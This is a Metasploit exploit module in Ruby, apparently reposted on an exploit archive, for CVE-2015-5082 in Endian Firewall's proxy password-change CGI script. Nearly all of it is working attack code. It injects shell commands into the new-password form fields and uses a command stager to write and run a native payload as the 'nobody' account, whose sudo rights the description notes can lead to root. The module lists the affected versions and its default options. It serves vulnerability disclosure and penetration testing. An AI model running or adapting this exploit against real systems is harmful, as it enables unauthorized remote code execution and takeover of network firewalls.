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Endian Firewall Proxy Password Change Command Injection

Posted on 08 September 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::CmdStager

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Endian Firewall Proxy Password Change Command Injection',
 'Description' => %q{
 This module exploits an OS command injection vulnerability in a
 web-accessible CGI script used to change passwords for locally-defined
 proxy user accounts. Valid credentials for such an account are
 required.

 Command execution will be in the context of the "nobody" account, but
 this account had broad sudo permissions, including to run the script
 /usr/local/bin/chrootpasswd (which changes the password for the Linux
 root account on the system to the value specified by console input
 once it is executed).

 The password for the proxy user account specified will *not* be
 changed by the use of this module, as long as the target system is
 vulnerable to the exploit.

 Very early versions of Endian Firewall (e.g. 1.1 RC5) require
 HTTP basic auth credentials as well to exploit this vulnerability.
 Use the USERNAME and PASSWORD advanced options to specify these values
 if required.

 Versions >= 3.0.0 still contain the vulnerable code, but it appears to
 never be executed due to a bug in the vulnerable CGI script which also
 prevents normal use (http://jira.endian.com/browse/UTM-1002).

 Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug
 (http://bugs.endian.com/print_bug_page.php?bug_id=3083).

 Tested successfully against the following versions of EFW Community:

 1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.

 Should function against any version from 1.1 RC5 to 2.2.x, as well as
 2.4.1 and 2.5.x.
 },
 'Author' => [
 'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module
 ],
 'References' => [
 ['CVE', '2015-5082'],
 ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'],
 ['EDB', '37426'],
 ['EDB', '37428']
 ],
 'Privileged' => false,
 'Platform' => %w{ linux },
 'Payload' =>
 {
 'BadChars' => "x00x0ax0d",
 'DisableNops' => true,
 'Space' => 2048
 },
 'Targets' =>
 [
 [ 'Linux x86',
 {
 'Platform' => 'linux',
 'Arch' => ARCH_X86,
 'CmdStagerFlavor' => [ :echo, :printf ]
 }
 ],
 [ 'Linux x86_64',
 {
 'Platform' => 'linux',
 'Arch' => ARCH_X86_64,
 'CmdStagerFlavor' => [ :echo, :printf ]
 }
 ]
 ],
 'DefaultOptions' =>
 {
 'SSL' => true,
 'RPORT' => 10443
 },
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Jun 28 2015',
 'License' => MSF_LICENSE
 ))

 register_options([
 OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script',
 '/cgi-bin/chpasswd.cgi']),
 OptString.new('EFW_USERNAME', [true,
 'Valid proxy account username for the target system']),
 OptString.new('EFW_PASSWORD', [true,
 'Valid password for the proxy user account']),
 OptString.new('RPATH', [true,
 'Target PATH for binaries used by the CmdStager', '/bin'])
 ], self.class)

 register_advanced_options(
 [
 OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5])
 ], self.class)

 end

 def exploit
 # Cannot use generic/shell_reverse_tcp inside an elf
 # Checking before proceeds
 if generate_payload_exe.blank?
 fail_with(Failure::BadConfig,
 "#{peer} - Failed to store payload inside executable, " +
 "please select a native payload")
 end

 execute_cmdstager(:linemax => 200, :nodelete => true)
 end

 def execute_command(cmd, opts)
 cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")

 req(cmd)
 end

 def req(cmd)
 sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"

 post_data = Rex::MIME::Message.new
 post_data.add_part('change', nil, nil, 'form-data; name="ACTION"')
 post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"')
 post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"')
 post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"')
 post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"')
 post_data.add_part(' Change password', nil, nil, 'form-data; name="SUBMIT"')

 data = post_data.to_s
 boundary = post_data.bound

 referer_url =
 "https://#{datastore['RHOST']}:#{datastore['RPORT']}" +
 "#{datastore['TARGETURI']}"

 res = send_request_cgi(
 {
 'method' => 'POST',
 'uri' => datastore['TARGETURI'],
 'ctype' => "multipart/form-data; boundary=#{boundary}",
 'headers' => {
 'Referer' => referer_url
 },
 'data' => data
 })

 if res
 if res.code == 401
 fail_with(Failure::NoAccess,
 "#{rhost}:#{rport} - Received a 401 HTTP response - " +
 "specify web admin credentials using the USERNAME " +
 "and PASSWORD advanced options to target this host.")
 end
 if res.code == 404
 fail_with(Failure::Unreachable,
 "#{rhost}:#{rport} - Received a 404 HTTP response - " +
 "your TARGETURI value is most likely not correct")
 end
 end

 end

end

 

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